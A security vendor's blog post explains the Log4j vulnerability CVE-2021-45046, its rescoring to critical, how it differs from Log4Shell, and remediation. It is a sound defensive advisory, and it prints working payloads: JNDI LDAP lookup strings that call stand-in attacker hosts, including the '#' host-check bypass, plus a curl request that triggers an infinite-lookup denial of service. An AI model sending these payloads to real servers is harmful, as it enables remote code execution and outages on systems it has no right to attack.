Log4j Vulnerability CVE-2021-45046 Now a Critical 9.0

By: Hagai Wechsler, Vulnerability Researcher, and Shuki Avraham, Senior Algorithm Developer

*December 16 Update:

On Thursday, December 16, 2021, CVE-2021-45046 was updated with a new, critical CVSS score. As stated by Apache’s security team:

The original severity of this CVE was rated as Moderate; since this CVE was published security experts found additional exploits against the Log4j 2.15.0 release that could lead to information leaks, RCE (remote code execution) and LCE (local code execution) attacks.

CVSS Score was consequently changed from a Low 3.7 to a Critical 9.0. Following CVE-2021-44228, Log4j 2.15.0 disabled message lookups by default and blocked any lookup that attempted to connect to a remote host, such as:

${jndi:ldap://malicious.com/attacker}

However, not long after this patch, it was discovered that other vectors to inject user-controlled data to log messages are possible, which introduced Log4Shell’s little brother, CVE-2021-45046. The last stated that by using:

ThreadContext.put("lookup-key",attackerControlled);

an attacker can insert malicious data that will be evaluated by the context lookup functionality, using the:

[${ctx:lookup-key}]

format within a layout pattern as follows:

appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] [${ctx:lookup-key}] - %msg%n

Since the patched 2.15.0 allowed only local connections in message lookups, this significantly reduced the severity of the then-newly published CVE. 

Out of the possible exploits of this vulnerability, the most influential was a DoS (denial-of-service) attack, done by setting the attacker controlled lookup value to the lookup key itself, causing an infinite lookup loop.

On Dec 16th, at 13:02 UTC, and Dec 17th at 07:15 UTC, @pwntester, @_atorralba, and @marcioalm’s announcements on Twitter disclosed that an RCE is still present in 2.15.0 under certain conditions. It turns out that there is a bypass for the disabled lookup patch, making a remote lookup connection still possible.

The payload that can bypass the network host restriction is:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

@marcioalm explained how this payload works:

This happens because of how the check was done. The http://java.net.URI getHost() method returns the value before the # as the real host, but the JNDI/LDAP resolver will resolve to the full hostname string attempting to connect to the malicious LDAP server.

An important note is that on 2.15.0, message text lookups are disabled by default, so only applications which explicitly enable:

%m{lookups}

in the message log are vulnerable to RCE.

Applications which use the 2.15.0:

formatMsgNoLookups=true

mitigation, are only vulnerable to code execution using one of the methods presented in CVE-2021-45046, meaning through non-message parts of the pattern layout. These include the earlier discussed

ThreadContext

context lookup, as well as other methods mentioned in one of @pwntester’s comments on his thread.
However, as it now seems, this ‘#’ bypass, and the consequent RCE, is reproducible only in MacOS environments, and by using a non-default DNS provider. This was stated in Apache’s official advisory, as well as in various comments in the relevant Twitter threads (1, 2, 3)

Once again, Log4j users are strongly recommended to update to the latest 2.16.0, which removed the vulnerable lookup features altogether, as well as disabled JNDI by default.

***

As security and development teams rushed to assess the now-notorious Log4Shell vulnerability published December 10 (CVE-2021-44228), another, more minor vulnerability was discovered in Log4j — CVE-2021-45046.

To understand the newly-discovered vulnerability, it is important to get the full picture and background on the original Log4j issue

For those who want a quick recap — Log4shell boils down to the following:

  • Logs are an integral part of an application. They document any important event and action that happens within their embedding app, including actions of the application’s users. 
  • This means that in some part of an app, user-provided input is logged, and that any user has the ability to control a portion of an application’s log.
  • Log4j enabled a feature that let it parse and interpret logs that contain requests to remote servers. This was added as a way to create dynamic content in a log.

The above three points combined form a fatal combination from an app’s perspective:

Any user is most likely able to control some portion of an application’s log, and include an arbitrary call to any remote server, forcing the application to execute any data the remote server responds with.

The fix is pretty straightforward. In Log4j versions 2.15.0 and up, these types of requests to remote servers are ignored and are no longer interpreted by Log4j. Users might still control a portion of a log’s data, but this data is by no means executed or parsed in any way anymore.

Or is it?

Introducing Log4j Vulnerability CVE-2021-45046

A few days after the fix to Log4Shell was published, another feature of Log4j was discovered as prone to exploits, and its vulnerability was given the formal ID of CVE-2021-45046.

Unsurprisingly, it eventually relates to the same problem as Log4Shell — users can control a log’s data, and this log data is interpreted by Log4j at runtime. Maliciously crafted user input could cause damage to an application, even one which is not vulnerable to Log4Shell.

What is this vulnerable feature? What can the exploit achieve? Which Log4j versions are vulnerable? And most importantly: What should you do about it?

Facing The Log4j Vulnerability Head-on: The Risk and The Fix

CVE-2021-45046 Explained

Log4j enables log patterns as a way to add meta-data to a log message. This enriches the log message with some content that is dynamically determined at runtime, such as date, time, log level, thread id, etc. Note for now that all these are system- and application-controlled data, not affected by a user.

The following setting shows the default log pattern provided with Log4j:

appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] – %msg%n

Example of a log message printed using the default pattern:

12:16 09:44:23.736 [http-nio-8080-exec-1] [INFO] – Greeting WhiteSource

Log4j further enables developers to customize the log pattern and add variable information by using a ThreadContext object. The below example utilizes the customized log pattern feature:

appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] [${ctx:username}] – %msg%n

It uses the [${ctx:username}] Context lookup format, which tells Log4j to print whatever the value of username is, within the context of the executing thread. The context of the thread is reflected to Log4j by the ThreadContext object.
In other words, Log4j needs a way to know what the value of username is, in order to log it. This value is stored in the ThreadContext object. Log4j then performs a lookup to the object, and resolves the value it needs to print.

Populating the username variable of the log pattern using ThreadContext would look like this:

ThreadContext.put(“username”, name);

Simply put, this will later tell Log4j that the value it should print in place of username is the value of the name variable.

However, those variables — being application-specific, may contain user-controlled data.

When a malicious user controls a variable that is added to a ThreadContext value, they can set the variable’s value to the ThreadContext key itself. This will redirect Log4j to lookup the same entry again and again, thus causing an infinite loop.

For example, assuming the attacker has control over the name variable, they could set its value to ${ctx:username} which in turn tells Log4j to lookup for the username value, which refers to the name value, which in turn resolves again to ${ctx:username}, over and over continually and infinitely. Below is a full detailed example of an exploit.

Example of a CVE-2021-45046 Exploit

Consider the following demo application:

The application configured its logging messages to print the non-default log pattern:

appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] [${ctx:username}] – %msg%n

A legitimate request to such an application could look like this:

curl -X GET 127.0.0.1:8080/greeting?name=WhiteSource

And responded with: 

Hello WhiteSource!

The log message which prints the request event:

12:16 09:44:23.736 [http-nio-8080-exec-1] [INFO] [WhiteSource] – Greeting WhiteSource

A malicious request to the application will be (note that the payload is URL encoded):

curl -X GET 127.0.0.1:8080/greeting?name=%24%7Bctx%3Ausername%7D

Result:

2021-12-16 09:44:36,749 http-nio-8080-exec-2 ERROR An exception occurred processing Appender ConsoleAppender java.lang.IllegalStateException: Infinite loop in property interpolation of ] [${ctx:username}] – : ctx:username

In this case, the attacker set the value of username to reference the username entry itself, which causes an infinite loop — leading to a denial-of-service.

 

Are You Vulnerable to Log4j?

Try this free CLI tool to scan your code & identify vulnerable versions of Log4j

CVE-2021-45046 — Severity, Impact, and Risks

The vulnerability was given a low severity score of 3.7, according to the CVSS specification:

The vulnerability was given a low severity score of 3.7, according to the CVSS specification

In comparison, let’s look at the score given to Log4shell:

severity score given to Log4shell is 10

Let’s break it down, to see why the severities are so different from each other. 

The CVSS metrics that differ between the two CVEs are:

  • Attack Complexity:

In order for an attacker to exploit the Context lookup vulnerability, the following conditions must be met:

  • The application uses user-supplied data as the Thread Context Map lookup.
  • The application uses a non-default layout pattern.
  • The attacker needs to know the variable key that is used in the Context lookup (in our case, username)

The suitable attack complexity value is High.

For Log4shell, the only thing an attacker needs is control over any data that is logged anywhere in the application. The suitable value for this case is Low.

  • Impact (Confidentiality, Integrity, and Availability) 

The three metrics revolve around how severe the impact of the exploit is — how it can affect the application, and to what extent.

In Log4shell, a successful exploit would force the vulnerable application to execute arbitrary code. This could mean credentials leak, full data integrity loss, database drop, or application crash. It is thus given the expected High impact on all three metrics.
On the other hand, the Context lookup vulnerability can only result in an infinite loop, which could cause excessive resources consumption and application crash. That’s why it was given the Low impact on Availability score, but no impact score on Confidentiality or Integrity.

The Fix: Remediation Recommendations for CVE-2021-45046

Log4j versions 2.16.0 and 2.12.2 (for older Java versions), completely removed the message lookups feature. This means that log patterns now cannot hold dynamic content from a thread context and consequently do not perform lookups on context variables. Thus, user-supplied data is not interpreted by the application, and specifically Log4j, anymore.

Remediation: 

Log4j version 2.16.0 solved this vulnerability by disabling the variable lookup by default. 

If you cannot update to the new version, the official Apache advisory recommends that you remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Learn More: Get free tools to detect and fix Log4j vulnerabilities at our Log4j Vulnerability Resource Center.

Keeping Your Open Source Components Secure

If the past week has taught us anything, it is that it’s crucial to stay on top of our open source components at all times. 

In order to make sure that your dependencies are updated and secure, we recommend you to: 

– Keep your open source components up to date with tools like WhiteSource Remediate to make sure direct dependencies are automatically patched to the latest version.

– Add an integration to your repository, so that when a vulnerability is detected, you get a GitHub issue and a PR is opened automatically. 

Integrating automated security into your repo, so that issues are addressed as soon as possible, is the best way to mitigate open source risks early, before they hit the headlines. 

Want to find and fix vulnerable versions of Log4j in your code? Learn about our free CLI tool, or download it now.

Meet The Author

Subscribe to Our Blog